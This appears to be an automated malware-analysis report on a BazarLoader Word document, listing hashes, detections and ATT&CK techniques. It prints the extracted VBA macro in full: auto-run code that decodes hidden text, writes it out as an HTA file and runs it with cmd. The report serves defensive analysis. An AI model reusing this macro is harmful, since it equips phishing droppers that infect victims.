BazarLoader — Office (OOXML) malware analysis

Static analysis result for SHA-256 50624595ef9d444a…

MALICIOUS

Office (OOXML)

49.4 KB Created: 2021-06-30 10:15:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-07
MD5: c17f947258355884f1d359e24733b92e SHA-1: 6f445587540ca717e7e892224a1daf2f83a8ccdd SHA-256: 50624595ef9d444a5fca276d8dc0ff9521d105f09a879c89f3d4d3dab6761fd2
262 Risk Score

Malware Insights

BazarLoader · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The sample is an OOXML document containing a VBA macro that automatically executes upon opening via the Document_Open subroutine. The macro utilizes Shell() to execute cmd.exe, which is then used to download and execute a second-stage payload. The ClamAV signature 'Doc.Downloader.BazarBlue09212-9898946-0' strongly suggests the BazarLoader family.

Heuristics 7

  • ClamAV: Doc.Downloader.BazarBlue09212-9898946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.BazarBlue09212-9898946-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1828 bytes
SHA-256: c3d9a021edb4772b618f531a6ef2f2023c3d5f308b31af98383b89a09ddbb811
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
                        Sub Document_Open()
                        If Len("afterCapt") > 0 Then
                                main
                        End If
                        End Sub

Attribute VB_Name = "cHLib"
Function curBoolButt()
curBoolButt = "!"
End Function
Function btnTableReq(convCurrencyBox, arrProcedure)
btnTableReq = Split(convCurrencyBox, arrProcedure)
End Function
Function cntBefore(convCurrencyBox)
Shell collectionCurrency("c:\windows\system32\cmd /c ")
End Function
Function collectionCurrency(convCurrencyBox, Optional exceptionReqLoad = "c:\programdata\intLength.h", Optional lnkSngl = "t", Optional variantViewVariant = "a")
collectionCurrency = convCurrencyBox & exceptionReqLoad & "" & lnkSngl & variantViewVariant
End Function
Function selBoxCurr(variantCntScr As Variant)
Dim templateScreenGeneric As String
templateScreenGeneric = vbNullChar
optSizeSz = UBound(variantCntScr)
For trustDocument = 1 To optSizeSz
templateScreenGeneric = templateScreenGeneric & Chr(variantCntScr(trustDocument) Xor 110)
Next
selBoxCurr = templateScreenGeneric
End Function

Attribute VB_Name = "copyRef"
Sub main()
listValButt
WVL = cntBefore("")
End Sub

Attribute VB_Name = "ctrlLinkCls"
Sub listValButt()
Open collectionCurrency("") For Output As #1
Print #1, selBoxCurr(leftIndexCls)
Close #1
End Sub
Function optionSel(vbOpt)
optionSel = btnTableReq(vbOpt, curBoolButt)
End Function
Function leftIndexCls()
leftIndexCls = optionSel(ActiveDocument.Content)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18432 bytes
SHA-256: d2a6a40c75cbd6736feb7f7e564293057e7cfc241d548c09717e18763f7d6709

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